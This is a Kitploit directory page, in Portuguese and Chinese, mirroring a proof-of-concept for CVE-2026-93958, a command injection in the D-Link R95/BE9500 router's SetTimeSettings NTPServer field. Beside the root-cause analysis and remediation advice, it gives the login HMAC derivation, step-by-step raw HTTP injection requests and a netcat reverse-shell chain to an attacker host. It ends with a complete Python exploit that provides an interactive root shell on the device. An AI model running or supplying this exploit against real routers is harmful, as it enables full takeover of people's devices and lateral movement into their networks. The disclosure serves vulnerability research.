Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-93958 — PoC de injeção de comando autenticada para D-Link R95/BE9500 DHMAPI SetTimeSettings, alcançando RCE como root via injeção de backtick no NTPServer, com script de exploit completo. | Kitploit
Ferramentas/GitHubGitHub/hackspeak/cve-2026-93958
Segurança de Sistemas EmbarcadosSegurança IoTAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebPós-ExploraçãoTestes de PenetraçãoComando e ControleSegurança de Hardware e IoTPapers e Pesquisa
GitHub
12há 10h 37mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
hackspeak/cve-2026-93958

CVE-2026-93958

PoC de injeção de comando autenticada para D-Link R95/BE9500 DHMAPI SetTimeSettings, alcançando RCE como root via injeção de backtick no NTPServer, com script de exploit completo.

Ver Repositório

D-Link R95 BE9500 Wi-Fi 7 Smart Router

  • Vendor:D-Link
  • Product:R95
  • Product Model:BE9500
  • Firmware Version:1.01B06
  • Vulnerability Type:Authenticated Command Injection

Description

O D-Link R95 BE9500 Wi-Fi 7 Smart Router (versão de firmware BE9500_1.00.16) contém uma vulnerabilidade de injeção de comandos na interface DHMAPI (SOAP sobre HTTPS) ao processar requisições SetTimeSettings. O campo <NTPServer> controlado pelo usuário é armazenado no banco de dados de configuração sem qualquer sanitização ou validação de metacaracteres de shell. Posteriormente, quando a configuração é sincronizada para o UCI (ntpclient.@ntpserver[0].hostname), o serviço backend vulnerável constrói e executa um comando de shell entre aspas duplas por meio de uma chamada do tipo system(). Ao injetar crases (```) no valor de <NTPServer>, um atacante pode obter substituição de comando — o shell avalia o conteúdo injetado antes de executar o comando concatenado, permitindo execução arbitrária de comandos com privilégios de root (uid=0).

O ataque requer uma sessão válida de gerenciamento web (sid) obtida por meio de acesso autenticado (testado com a conta de administrador Admin). Essa vulnerabilidade é ainda amplificada pelas credenciais padrão fracas do dispositivo ou por possíveis problemas de bypass de autenticação, expandindo significativamente a superfície de ataque no mundo real.

Impact

Um atacante autenticado pode executar comandos arbitrários com privilégios de root, levando ao comprometimento total do dispositivo — incluindo leitura de arquivos sensíveis (por exemplo, o texto cifrado de /etc/rg_config/admin, extração de backups completos de configuração), instalação de backdoors persistentes, estabelecimento de reverse shells e pivô para a rede interna para ataques de movimento lateral.

Vulnerability Details

1. Affected Component and Root Cause

A vulnerabilidade reside no binário de backend de gerenciamento web /bin/ssi (executado como root), que implementa a interface SOAP DHMAPI.

Fonte de contaminação (taint source) — o handler SetTimeSettings (função no offset 0x6bd84 em ssi, firmware 1.01B06):

  • Extrai o campo <NTPServer> da requisição SOAP para um buffer de pilha, com limite de comprimento de 0x3f (63 bytes) — este é um limite de tamanho de buffer, não uma verificação de segurança.
  • Armazena o valor literalmente na chave de configuração interna time.value.NTPServer por meio de um setter interno — nenhuma filtragem ou escape de metacaracteres de shell é realizada em nenhum momento.

Destino da contaminação (taint sink) — sincronização de configuração para o UCI. O ssi sincroniza valores de configuração concatenando-os em strings de comando de shell executadas por meio de chamadas do tipo system(). Strings de formato embutidas encontradas no binário incluem:

root@kitploit:~
uci set %s="%s" > /dev/null

Como o valor é envolvido por aspas duplas, o shell realiza substituição de comando em crases (`) / $() dentro do valor antes de executar o comando concatenado. Como o ssi é executado como root, o comando injetado é executado com privilégios de root.

Evidências de temporização confirmam que a avaliação ocorre de forma síncrona dentro do caminho de tratamento da requisição: injetar `sleep 10` atrasa a resposta HTTP em ~10 segundos. O valor envenenado também persiste no UCI (ntpclient.@ntpserver[0].hostname) e posteriormente é consumido sem aspas por /bin/start_ntpclient.sh (ntpclient -s -h $HOSTNAME), uma lacuna secundária de hardening.

Restrições de exploração (verificadas):

2. Authentication Prerequisite (API-AUTH scheme)

Todas as requisições DHMAPI devem conter:

  • Cookie: uid=<session cookie> (do login)
  • API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>
  • Cabeçalhos API-ACTION / SOAPAction correspondentes à ação SOAP, além de User-Agent e Referer (UA/Referer ausentes resultam em HTTP 400/500)
  • ts é um timestamp em milissegundos; o dispositivo não valida a atualidade, então um valor fixo é reutilizável

Derivação de privkey:

  1. Login / Action=request (assinado com a string de chave estática withoutloginkey) retorna Challenge, Cookie, PublicKey, SaltHash
  2. e = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32)) (ou a senha em texto claro quando SaltHash está ausente)
  3. privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))
  4. LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))
  5. Login / Action=login com o acima retorna <LoginResult>success</LoginResult>; requisições subsequentes usam Cookie: uid=<step-1 Cookie> assinado com

3. Proof of Concept

Step 1 — Login request (obtain Challenge/Cookie/PublicKey/SaltHash)

root@kitploit:~
POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

image-20260823160929456

Step 2 — Login (establish session)

root@kitploit:~
POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

Esperado: <LoginResult>success</LoginResult>.

image-20260823160951351

Step 3 — Command injection (write output to web root)

root@kitploit:~
POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer><Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>

image-20260823161119324

Step 4 — Retrieve command output

root@kitploit:~
GET /m_id.txt HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Referer: https://192.168.2.254:18443/info/Login.html
Connection: close

Corpo da resposta observado:

root@kitploit:~
uid=0(root) gid=0(root)

image-20260823161234632

Alternative verification — time-based blind injection

root@kitploit:~
<NTPServer>`sleep 10`</NTPServer>

A resposta HTTP é atrasada em ~10 segundos; um nome de servidor NTP benigno retorna imediatamente.

Full exploitation — reverse shell

O limite de 63 bytes do campo é contornado escrevendo um script em fragmentos base64:

  1. Requisições SetTimeSettings repetidas, cada uma anexando um fragmento: `echo -n <b64-fragment> >> /tmp/x`
  2. Decodificar: `base64 -d /tmp/x > /tmp/rs.rs`
  3. Conteúdo de /tmp/rs.rs (observe os espaços obrigatórios ao redor dos pipes para o busybox ash): rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i | nc <attacker-ip> 4444 > /tmp/f
  4. Disparar: `sh /tmp/rs.rs`

Resultado: um shell root interativo (~ #, BusyBox ash) é recebido no listener do atacante.

EXP:

root@kitploit:~
#!/usr/bin/env python3
# D-Link R95 (FW 1.01B06) SetTimeSettings/NTPServer authenticated command injection - PoC/EXP
# Usage: python r95_exp.py            interactive shell (commands run as root on the device)
#        python r95_exp.py "id"       run a single command
import sys, re, json, hmac, base64, hashlib, time
import urllib3
urllib3.disable_warnings()
import requests

HOST, PORT = "192.168.2.15", 18443             # lab target; use <device-ip>:443 for a real device
USER, PASSWORD = "Admin", "<password>"
BASE = "https://%s:%d" % (HOST, PORT)
TS = "1787052323000"                            # timestamp freshness is not validated by the device
OUT = "/www/e"                                  # command output dropped into the web root

s = requests.Session(); s.verify = False
privkey = cookie = None

def auth(key, action):
    return hmac.new(key.encode(), (TS + action).encode(), hashlib.sha256).hexdigest().upper() + " " + TS

def post(action, inner, key=None, ck=None):
    body = ('<?xml version="1.0" encoding="utf-8"?>'
            '<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
            'xmlns:xsd="http://www.w3.org/2001/XMLSchema" '
            'xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>'
            '<%s>%s</%s></soap:Body></soap:Envelope>' % (action, inner, action))
    h = {"API-ACTION": action, "API-AUTH": auth(key or privkey, action),
         "Content-Type": "text/xml; charset=utf-8", "User-Agent": "Mozilla/5.0",
         "Referer": BASE + "/info/Login.html"}
    if ck or cookie: h["Cookie"] = "uid=" + (ck or cookie)
    return s.post(BASE + "/DHMAPI/", data=body.encode(), headers=h, timeout=30)

def login():
    global privkey, cookie
    r = post("Login", "<Action>request</Action><Username>%s</Username>"
             "<LoginPassword></LoginPassword><Captcha></Captcha>" % USER, key="withoutloginkey")
    g = lambda t: (re.search("<%s>(.*?)</%s>" % (t, t), r.text) or [None, ""])[1]
    challenge, cookie, pubkey, salthash = g("Challenge"), g("Cookie"), g("PublicKey"), g("SaltHash")
    if not challenge:
        print("[!] login step 1 failed:", r.status_code, r.text[:200]); sys.exit(1)
    e = PASSWORD
    if salthash:
        e = base64.b64encode(hashlib.pbkdf2_hmac("sha256", PASSWORD.encode(),
                             salthash.encode(), 5000, dklen=32)).decode()
    privkey = hmac.new((pubkey + e).encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
    lp = hmac.new(privkey.encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
    r2 = post("Login", "<Action>login</Action><Username>%s</Username>"
              "<LoginPassword>%s</LoginPassword><Captcha></Captcha>" % (USER, lp))
    if "success" not in r2.text.lower():
        print("[!] login failed:", r2.text[:200]); sys.exit(1)
    print("[+] login OK, cookie=%s" % cookie)

def inject(cmd):
    """Execute one shell command via the NTPServer backtick injection (no output channel)"""
    if "&" in cmd:
        print("[!] command must not contain '&'"); return False
    r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
    if r.status_code == 401:
        print("[*] session expired, re-authenticating..."); login()
        r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
    return r.status_code == 200

def run(cmd):
    """Run a command and read back stdout. <=54 bytes: direct injection; longer: chunked base64"""
    cmd = cmd.strip()
    if not cmd: return
    direct = "%s>%s" % (cmd, OUT)
    if len(direct) <= 54:
        ok = inject(direct)
    else:
        b64 = base64.b64encode(cmd.encode()).decode()
        inject("rm -f /tmp/x")
        for i in range(0, len(b64), 40):
            if not inject("echo -n %s>>/tmp/x" % b64[i:i+40]):
                print("[!] fragment injection failed"); return
        inject("base64 -d /tmp/x>/tmp/x.sh")
        ok = inject("sh /tmp/x.sh>%s" % OUT)
    if not ok:
        print("[!] injection request failed"); return
    time.sleep(1)
    r = s.get(BASE + "/e", headers={"User-Agent": "Mozilla/5.0",
              "Referer": BASE + "/info/Login.html"}, timeout=15)
    out = r.text.rstrip("\n")
    print(out if out else "(no output)")

if __name__ == "__main__":
    login()
    if len(sys.argv) > 1:
        run(" ".join(sys.argv[1:])); sys.exit(0)
    print("[*] interactive mode - commands run as root on the device, 'exit' to quit")
    while True:
        try: c = input("r95# ")
        except (EOFError, KeyboardInterrupt): break
        if c.strip() in ("exit", "quit"): break
        run(c)

image-20260823161917864

4. Root Cause Summary

  1. O ssi armazena o campo NTPServer (e campos irmãos no mesmo handler) no banco de dados de configuração sem nenhuma sanitização;
  2. A sincronização de configuração usa concatenação de strings de shell no estilo system() com o valor envolvido por aspas duplas, fazendo com que o shell avalie crases / $() no valor;
  3. O ssi é executado como root, então os comandos injetados são executados com o privilégio máximo.

O mesmo padrão de código produz pelo menos 7 pontos adicionais de injeção de comandos autenticados neste firmware (TZLocation, DeviceName, Hostname/Username do DDNS, NickName do cliente e uma injeção de segunda ordem via SetNetworkSettings), todos verificados com execução uid=0(root).

5. Remediation

  • Aplicar validação estrita por whitelist ([A-Za-z0-9.-]) em campos de entrada do tipo hostname antes do armazenamento;
  • Substituir a concatenação de strings de system() pela API libuci (já vinculada ao ssi) ou por chamadas da família exec* sem shell;
  • Colocar a variável $HOSTNAME entre aspas em /bin/start_ntpclient.sh;
  • Executar o serviço de gerenciamento web com privilégios reduzidos;
  • Auditar e corrigir uniformemente os pontos de injeção irmãos listados acima.

分发镜像说明(中文)

Este repositório é um espelho de distribuição intermediário do PoC da vulnerabilidade CVE-2026-93958 (D-Link R95 / BE9500 DHMAPI Command Injection) (a análise técnica está no relatório original upstream acima, D-Link R95 BE9500.md). O conteúdo é espelhado do repositório público de PoC upstream, apenas para fins de arquivamento e distribuição. O PoC destina-se apenas a pesquisa de segurança, verificação de vulnerabilidades e testes autorizados; não o utilize em alvos não autorizados.

漏洞简述 / Vulnerability Summary

  • CVE-2026-93958 / D-Link R95 (BE9500) Wi-Fi 7 Smart Router
  • Firmware afetado: série BE9500_1.00.16 / 1.01B06
  • Tipo: Injeção de comando do SO (CWE-77 / CWE-78) → execução arbitrária de comandos com privilégios de root
  • CVSS 3.1: 9.1 (Critical); CVSS 4.0: 8.5; CVSS 2.0: 8.3
  • Superfície de ataque: campo <NTPServer> da requisição SetTimeSettings da interface DHMAPI (SOAP sobre HTTPS)
  • Pré-requisito: requer uma sessão válida de gerenciamento web (após autenticação)
  • Componente afetado: backend de gerenciamento web executado como root /bin/ssi

Princípio central: a função de tratamento SetTimeSettings do /bin/ssi (offset 0x6bd84) armazena o campo <NTPServer> (limite de comprimento 0x3f=63 bytes, mas sem qualquer filtragem de metacaracteres de shell) literalmente no banco de configuração; ao sincronizar a configuração para o UCI, o ssi concatena o valor em strings de shell como uci set %s="%s" > /dev/null e as executa com system() — o valor é envolvido por aspas duplas, o shell realiza substituição de comando em crases / $(), e como o ssi é executado como root, o comando injetado é executado com privilégios totais.

目录结构 / Layout

root@kitploit:~
D-Link R95 BE9500.md   —— 上游完整技术分析(含 4 步复现、认证机制、EXP 源码、加固建议)
r95_exp.py             —— 从上游报告中提取的完整 Python EXP(requests 实现)
image-*.png            —— 上游报告附图(5 张)

环境与用法 / Requirements & Usage

  • Alvo: D-Link R95 / BE9500 com firmware não corrigido (dispositivo de laboratório); requer uma sessão de gerenciamento válida (conta de administrador)
  • Dependências: Python 3 + requests
  • Uso:
root@kitploit:~
python r95_exp.py            # interactive root shell (commands run as root on the device)
python r95_exp.py "id"       # run a single command

⚠️ 注意:注入字段长度上限约 63 字节,且命令不能含 &;EXP 对 ≤54 字节命令直接注入,更长的命令自动切 base64 分片写入 /tmp/x 再解码执行,输出写入 Web 根目录 /www/e 后经 HTTP 取回。

免责声明 / Disclaimer

Este PoC destina-se apenas a fins de ensino, pesquisa de segurança e testes autorizados, e só pode ser executado em dispositivos próprios ou com autorização explícita. A exploração executa comandos arbitrários com privilégios de root no dispositivo; teste em um ambiente de laboratório descartável.

归属与许可 / Attribution & License

  • Autor do relatório PoC upstream e do EXP: FoundTL (repositório público de pesquisa de vulnerabilidades FoundTL/D-Link-R95-BE9500).
  • O repositório de distribuição usa a MIT License (ver LICENSE).

参考链接 / References

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-93958
  • Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-93958
  • Site oficial da D-Link: https://www.dlink.com/
Baixar ferramenta
RestriçãoResultado verificado
Comprimento do campo≤ 63 bytes aceitos; 60 bytes OK, 80 bytes rejeitados (HTTP 400)
Caractere &Não pode aparecer (quebra a linha de comando concatenada)
Sintaxe de injeçãoCrases `cmd` verificadas; espera-se que $(cmd) funcione igualmente
Contexto de execuçãouid=0(root) gid=0(root)
Canal de saídaSem eco direto; redirecionar para a raiz web (> /www/<file>) e recuperar via HTTP GET
privkey